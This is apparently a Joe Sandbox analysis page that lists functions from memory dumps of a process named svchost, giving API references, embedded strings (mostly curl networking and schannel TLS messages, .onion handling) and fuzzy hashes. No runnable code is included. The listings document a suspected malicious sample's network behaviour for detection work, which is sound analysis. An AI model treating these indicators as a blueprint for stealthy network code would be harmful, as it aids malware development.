Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc$DirectorySystem$CleanupFrequencyHandleModulePerformanceQueryStartupfreemallocwcspbrk
String ID: AddDllDirectory$LoadLibraryExW$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 2084031714-2297675747
Opcode ID: 25d10e906bd9ae6e16c691fc1285ab9041ef61e00e4e74a3fa809b4385e8702e
Instruction ID: d89eefaf6277abac34df1c6639383e2825787af885ce3e4ff0f2bcfa08471bbf
Opcode Fuzzy Hash: 25d10e906bd9ae6e16c691fc1285ab9041ef61e00e4e74a3fa809b4385e8702e
Instruction Fuzzy Hash: 6F61AF39208A8585FA719B95E4553EAE3B1FB49FD0FC84025D9BE037A4FF78C606A710

Function 00000173D01749E0 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_pton.WS2_32 ref: 00000173D0174B57
inet_pton.WS2_32 ref: 00000173D0174B75

Part of subcall function 00000173D01752D0: inet_pton.WS2_32 ref: 00000173D0175326
Part of subcall function 00000173D01752D0: inet_pton.WS2_32 ref: 00000173D0175341
Part of subcall function 00000173D01752D0: inet_ntop.WS2_32 ref: 00000173D0175407
Part of subcall function 00000173D01752D0: SimpleString::operator=.MSOBJ140-MSVCRT ref: 00000173D017543F

Strings

.onion., xrefs: 00000173D0174A63
::1, xrefs: 00000173D0174E0F
127.0.0.1, xrefs: 00000173D0174D30
localhost, xrefs: 00000173D0174C56
.onion, xrefs: 00000173D0174A4F
.localhost, xrefs: 00000173D0174C90
Hostname %s was found in DNS cache, xrefs: 00000173D0174ACF
Not resolving .onion address (RFC 7686), xrefs: 00000173D0174A73

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: inet_pton$SimpleString::operator=inet_ntop
String ID: .localhost$.onion$.onion.$127.0.0.1$::1$Hostname %s was found in DNS cache$Not resolving .onion address (RFC 7686)$localhost
API String ID: 1960554822-2421204314
Opcode ID: 0edaa2b13891c3644038c0d754203b9f17ad93a6b24d923121f716e7c7c04ea3
Instruction ID: 3efe34afd428d68072e5196a52b9a2cab66ad0f00d8bbc20fbb4213fb9113e50
Opcode Fuzzy Hash: 0edaa2b13891c3644038c0d754203b9f17ad93a6b24d923121f716e7c7c04ea3
Instruction Fuzzy Hash: B3E1BA7A608A9086FB258BA5D5403EDA7B1B784FD8F848215CE2D0B795EF78C646A300

Function 00000173D019B3F0 Relevance: 24.2, APIs: 16, Instructions: 185
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00000173D019B42B
htonl.WS2_32 ref: 00000173D019B477
setsockopt.WS2_32 ref: 00000173D019B4B5
bind.WS2_32 ref: 00000173D019B4D1
getsockname.WS2_32 ref: 00000173D019B4EB
listen.WS2_32 ref: 00000173D019B50C
socket.WS2_32 ref: 00000173D019B525
connect.WS2_32 ref: 00000173D019B545
accept.WS2_32 ref: 00000173D019B590
send.WS2_32 ref: 00000173D019B5DC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: socket$acceptbindconnectgetsocknamehtonllistensendsetsockopt
String ID:
API String ID: 3053784475-0
Opcode ID: d062e0d662efabfd737838c303d0ff00aeb29085ae0e7c2932690540158412af
Instruction ID: d98de5e3dda8299e8c6fc60c8d8a14f8075955558e0fb1c99debac763a280d5c
Opcode Fuzzy Hash: d062e0d662efabfd737838c303d0ff00aeb29085ae0e7c2932690540158412af
Instruction Fuzzy Hash: 5F819E79708A4085F7309BB5E4903DDA3B1F745FA8F904311DEBE46AE8EB78964AD300

Function 00000173CFC23E70 Relevance: 5.3, APIs: 3, Instructions: 815COMMON

Download Yara Rule

APIs

Part of subcall function 00000173CFC36700: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00000173CFC03B13,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00000173CFC3670F

Part of subcall function 00000173CFC0F5D0: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000003F,00000173CFC33E56,?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FD86), ref: 00000173CFC0F61C

_W_Gettnames.API-MS-WIN-CRT-TIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FDA8), ref: 00000173CFC24935
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FDA8), ref: 00000173CFC2494A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FDA8), ref: 00000173CFC24958

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: free$Gettnames_lock_localesrealloc
String ID:
API String ID: 3705959680-0
Opcode ID: bde4317cab3e174679989bb75934b8180b35db1ba5c292bc93aa4c3750b7d610
Instruction ID: 23cefbe54e66f54e232ebefe8284cc637f7fb959b227bfede954a2d12f22b281
Opcode Fuzzy Hash: bde4317cab3e174679989bb75934b8180b35db1ba5c292bc93aa4c3750b7d610
Instruction Fuzzy Hash: 1C823D73709A0286EB53DB21D8903E923B1E754B84F44C827D9AE677A6DF38D685F340

Function 00000173CFC336D0 Relevance: 5.0, APIs: 3, Instructions: 509COMMON

Download Yara Rule

APIs

Part of subcall function 00000173CFC36700: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00000173CFC03B13,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00000173CFC3670F

_Gettnames.API-MS-WIN-CRT-TIME-L1-1-0(?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FD86,?,?,?,?,?,?,?,00000173CFC0F707), ref: 00000173CFC33DBF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FD86,?,?,?,?,?,?,?,00000173CFC0F707), ref: 00000173CFC33DD4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000003F,00000000,?,0000003F,?,00000173CFC0FD86,?,?,?,?,?,?,?,00000173CFC0F707), ref: 00000173CFC33DE3

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: free$Gettnames_lock_locales
String ID:
API String ID: 2001668406-0
Opcode ID: e95d6d510b83beebbd72d37d6b8ab9e38edb898b73e1c8218507de7eafeb0eef
Instruction ID: a4b6d37e0288935f980080ede5a58b0416441fa658575caa5f4fd52f6a9cdc4d
Opcode Fuzzy Hash: e95d6d510b83beebbd72d37d6b8ab9e38edb898b73e1c8218507de7eafeb0eef
Instruction Fuzzy Hash: C7323E3730DA0285EB539B11E8943D927B1B744BC8F58C82799EE677A5DE38C689F340

Function 00000173CFC03080 Relevance: 4.5, APIs: 3, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNELBASE ref: 00000173CFC030A3
__crtDownlevelLocaleNameToLCID.LIBCPMT ref: 00000173CFC030AB
GetLocaleInfoW.KERNEL32 ref: 00000173CFC030BA

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: Locale$Info$DownlevelName__crt
String ID:
API String ID: 1619744293-0
Opcode ID: b47bfe36b4610959a40c36704843bb26be612e2c5ad8ea35484c623aa9777f44
Instruction ID: d1c73630798a481f725db49e479e5decbc49bf7d9cd5b4f50d84487b455c7622
Opcode Fuzzy Hash: b47bfe36b4610959a40c36704843bb26be612e2c5ad8ea35484c623aa9777f44
Instruction Fuzzy Hash: 31E06533708B81C2EB415B55F44029AA670B788BC8F648916DFBD23B55CF28CA02D744

Function 00000173D01579F0 Relevance: 47.6, APIs: 17, Strings: 10, Instructions: 303
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000173D01A3B60: QueryPerformanceCounter.KERNEL32(?,?,00000000,00000173D018FF24), ref: 00000173D01A3B77

Part of subcall function 00000173D015C990: inet_ntop.WS2_32 ref: 00000173D015C9CA
Part of subcall function 00000173D015C990: htons.WS2_32 ref: 00000173D015C9D8

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D0157A7B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D0157A89
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D0157A91

Part of subcall function 00000173D019EC40: GetLastError.KERNEL32 ref: 00000173D019EC63
Part of subcall function 00000173D019EC40: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EC6B

setsockopt.WS2_32 ref: 00000173D0157B56
setsockopt.WS2_32 ref: 00000173D0157BC5
WSAGetLastError.WS2_32 ref: 00000173D0157BCF
getsockopt.WS2_32 ref: 00000173D0157C7E
setsockopt.WS2_32 ref: 00000173D0157CAD
setsockopt.WS2_32 ref: 00000173D0157CEF
WSAGetLastError.WS2_32 ref: 00000173D0157CF9
setsockopt.WS2_32 ref: 00000173D0157D35
WSAGetLastError.WS2_32 ref: 00000173D0157D3F
setsockopt.WS2_32 ref: 00000173D0157D84
WSAGetLastError.WS2_32 ref: 00000173D0157D8E
setsockopt.WS2_32 ref: 00000173D0157DD3
WSAGetLastError.WS2_32 ref: 00000173D0157DDD
WSAGetLastError.WS2_32 ref: 00000173D0157EA3

Part of subcall function 00000173D0157F90: getsockname.WS2_32 ref: 00000173D015802B
Part of subcall function 00000173D0157F90: WSAGetLastError.WS2_32 ref: 00000173D0158035

Part of subcall function 00000173D01A3B60: GetTickCount.KERNEL32 ref: 00000173D01A3BAD

Strings

Failed to set TCP_KEEPCNT on fd %qd: errno %d, xrefs: 00000173D0157DE3
Failed to set TCP_KEEPIDLE on fd %qd: errno %d, xrefs: 00000173D0157D48
Failed to set TCP_KEEPINTVL on fd %qd: errno %d, xrefs: 00000173D0157D97
@, xrefs: 00000173D0157C07
Trying [%s]:%d..., xrefs: 00000173D0157B5C
Failed to set SO_KEEPALIVE on fd %qd: errno %d, xrefs: 00000173D0157CFF
Could not set TCP_NODELAY: %s, xrefs: 00000173D0157BEA
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00000173D0157AAF
cf_socket_open() -> %d, fd=%qd, xrefs: 00000173D0157AEB
Trying %s:%d..., xrefs: 00000173D0157B65

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast$setsockopt$_errno$CountCounterPerformanceQueryTickgetsocknamegetsockopthtonsinet_ntop
String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$Could not set TCP_NODELAY: %s$Failed to set SO_KEEPALIVE on fd %qd: errno %d$Failed to set TCP_KEEPCNT on fd %qd: errno %d$Failed to set TCP_KEEPIDLE on fd %qd: errno %d$Failed to set TCP_KEEPINTVL on fd %qd: errno %d$cf_socket_open() -> %d, fd=%qd$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 1107047317-1591695899
Opcode ID: 65f48f47c895eec88dc286f94f2bb468524a817aeeb304b407c6ebe9008bb1c6
Instruction ID: 96445d2accaf37f7682ac89272f3a8b06389d2415cd8434da7bdb376c01ac91e
Opcode Fuzzy Hash: 65f48f47c895eec88dc286f94f2bb468524a817aeeb304b407c6ebe9008bb1c6
Instruction Fuzzy Hash: B5D18B3920C68086E730DBA1E4497EEA3B1F786FC4F805211EA6D4BB91FB79C645E700

Function 00000173D01B1A60 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 367
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1AF8
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1B28
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1B5B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1C10
memmove.VCRUNTIME140 ref: 00000173D01B1CA9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1D07
memmove.VCRUNTIME140 ref: 00000173D01B1DC7

Part of subcall function 00000173D019E4C0: GetLastError.KERNEL32 ref: 00000173D019E4E9
Part of subcall function 00000173D019E4C0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E4F2

Part of subcall function 00000173D01B28A0: CertGetNameStringW.CRYPT32 ref: 00000173D01B298F
Part of subcall function 00000173D01B28A0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B2C00
Part of subcall function 00000173D01B28A0: CertFreeCertificateContext.CRYPT32 ref: 00000173D01B2C48

memset.VCRUNTIME140 ref: 00000173D01B1ED7
CertFreeCertificateContext.CRYPT32 ref: 00000173D01B1F6E

Strings

schannel: next InitializeSecurityContext failed: %s, xrefs: 00000173D01B2013, 00000173D01B2055
schannel: %s, xrefs: 00000173D01B2029
schannel: Failed to read remote certificate context: %s, xrefs: 00000173D01B1F55
schannel: SNI or certificate check failed: %s, xrefs: 00000173D01B203F
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00000173D01B1DE2
schannel: unable to re-allocate memory, xrefs: 00000173D01B1B66
SSL: public key does not match pinned public key, xrefs: 00000173D01B1F1C, 00000173D01B1F7C
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00000173D01B1DFE
SSL: failed retrieving public key from server certificate, xrefs: 00000173D01B1F2D
schannel: unable to allocate memory, xrefs: 00000173D01B2091

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Certmalloc$CertificateContextFreefreememmove$ErrorLastNameString_errnomemsetrealloc
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key$schannel: %s$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 726578228-413892695
Opcode ID: dceadbc88c61df8f0e941d432596c493b93759fc88e510aa60893e4e021862c5
Instruction ID: cc4c119459f9bc1b9be6bc5dd0b201e4446ce92e1943897df5db3090ec1ac940
Opcode Fuzzy Hash: dceadbc88c61df8f0e941d432596c493b93759fc88e510aa60893e4e021862c5
Instruction Fuzzy Hash: 13027D7A20978086EB72DFA5E4443EAA7B0F746FC4FC44015EA6E47B94EB78C645E700

Function 00000173D019E4C0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000173D019E4E9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E4F2

Strings

CRYPT_E_REVOKED, xrefs: 00000173D019E8B0
SEC_I_CONTINUE_NEEDED, xrefs: 00000173D019E92A
No error, xrefs: 00000173D019E8EE
%s (0x%08X) - %s, xrefs: 00000173D019E57D
CRYPT_E_NO_REVOCATION_DLL, xrefs: 00000173D019E91E
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00000173D019E9D7
Unknown error, xrefs: 00000173D019E9BE
%s (0x%08X), xrefs: 00000173D019E9EB
CRYPT_E_NO_REVOCATION_CHECK, xrefs: 00000173D019E912
CRYPT_E_REVOCATION_OFFLINE, xrefs: 00000173D019E906
CRYPT_E_NOT_IN_REVOCATION_DATABASE, xrefs: 00000173D019E8FA

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X)$%s (0x%08X) - %s$CRYPT_E_NOT_IN_REVOCATION_DATABASE$CRYPT_E_NO_REVOCATION_CHECK$CRYPT_E_NO_REVOCATION_DLL$CRYPT_E_REVOCATION_OFFLINE$CRYPT_E_REVOKED$No error$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_I_CONTINUE_NEEDED$Unknown error
API String ID: 3939687465-2168394622
Opcode ID: e510bd89133b98551c2ded33f339925ccf4eb4118a24304ddea983bd7d095df7
Instruction ID: 544b64602be8c933e62e23b458180b0e8d622f84f7117130510cf42fe0692c4c
Opcode Fuzzy Hash: e510bd89133b98551c2ded33f339925ccf4eb4118a24304ddea983bd7d095df7
Instruction Fuzzy Hash: 3A5156BD21C64496FA759B85F8843E9E2B1B348FC8FC85015E9BE02691FB38C745F210

Function 00000173D0152A50 Relevance: 28.7, APIs: 19, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152A82
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152B13
InitializeCriticalSectionEx.KERNEL32 ref: 00000173D0152B2D

Part of subcall function 00000173D019B3F0: socket.WS2_32 ref: 00000173D019B42B

closesocket.WS2_32 ref: 00000173D0152B6D
DeleteCriticalSection.KERNEL32 ref: 00000173D0152B84
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152B8E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152B98
closesocket.WS2_32 ref: 00000173D0152BB6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152BEE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D0152BF4
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0152C23
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152C3D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D0152C46
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D0152C7B
EnterCriticalSection.KERNEL32 ref: 00000173D0152C9C
LeaveCriticalSection.KERNEL32 ref: 00000173D0152CB0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152CE8
closesocket.WS2_32 ref: 00000173D0152CFC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0152D10

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$CriticalSection$closesocket$_errno_strdup$DeleteEnterInitializeLeavecallocmallocsocket
String ID:
API String ID: 941918121-0
Opcode ID: f7b7d5e47d6d708bd0e22812e4ed0cd66e6031231705c6cb0dfdc9715a5c2e24
Instruction ID: f8a1249b4c89a1836737d4a80280e31f7e3b694c0c6d8798c8eda25d5f4f1c3c
Opcode Fuzzy Hash: f7b7d5e47d6d708bd0e22812e4ed0cd66e6031231705c6cb0dfdc9715a5c2e24
Instruction Fuzzy Hash: C8814C3A505B8086E634DBA1E8543AEB370F799BA4F445315DBBE077A1EF78E294D300

Function 00000173D01B15D0 Relevance: 28.3, APIs: 5, Strings: 11, Instructions: 280
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000173D01AC700: GetModuleHandleA.KERNEL32 ref: 00000173D01AC746
Part of subcall function 00000173D01AC700: GetProcAddress.KERNEL32 ref: 00000173D01AC756

GetModuleHandleW.KERNEL32 ref: 00000173D01B166B
GetProcAddress.KERNEL32 ref: 00000173D01B167B

Part of subcall function 00000173D01AC700: memset.VCRUNTIME140 ref: 00000173D01AC7D0
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC811
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC823
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC835
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC847
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC85C
Part of subcall function 00000173D01AC700: RtlVerifyVersionInfo.NTDLL ref: 00000173D01AC87F
Part of subcall function 00000173D01AC700: VerSetConditionMask.KERNEL32 ref: 00000173D01AC8D7
Part of subcall function 00000173D01AC700: RtlVerifyVersionInfo.NTDLL ref: 00000173D01AC8F6

memmove.VCRUNTIME140 ref: 00000173D01B17D3

Part of subcall function 00000173D01B4100: memmove.VCRUNTIME140 ref: 00000173D01B4182

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B1898
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B192A

Part of subcall function 00000173D019E4C0: GetLastError.KERNEL32 ref: 00000173D019E4E9
Part of subcall function 00000173D019E4C0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E4F2

Strings

schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00000173D01B164F
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00000173D01B1A1C
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00000173D01B1A06
ntdll, xrefs: 00000173D01B1664
Error setting ALPN, xrefs: 00000173D01B17AB
ALPN: curl offers %s, xrefs: 00000173D01B182D
schannel: using IP address, SNI is not supported by OS., xrefs: 00000173D01B1776
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00000173D01B195B, 00000173D01B1987
schannel: SNI or certificate check failed: %s, xrefs: 00000173D01B1971
wine_get_version, xrefs: 00000173D01B1674
schannel: unable to allocate memory, xrefs: 00000173D01B18AA

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ConditionMask$AddressHandleInfoModuleProcVerifyVersionmemmove$ErrorLast_errnocallocfreememset
String ID: ALPN: curl offers %s$Error setting ALPN$ntdll$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 3185706071-3097429119
Opcode ID: 8a031a964fd8ab912a4284cec04f5126e57061bfdf8df424aa37bbdfd8a01d6c
Instruction ID: 1c8ab6b178335d59701e3f05246e5a8f64825e96a79ae3e325994a41e5a194e2
Opcode Fuzzy Hash: 8a031a964fd8ab912a4284cec04f5126e57061bfdf8df424aa37bbdfd8a01d6c
Instruction Fuzzy Hash: 5CD1593A608B408AFB219FA5E8403DEB7B4F746BC8F804015DA5E17B95EB78C655E740

Function 00000173D01A8E00 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 137
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A8E65
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01A8EE0
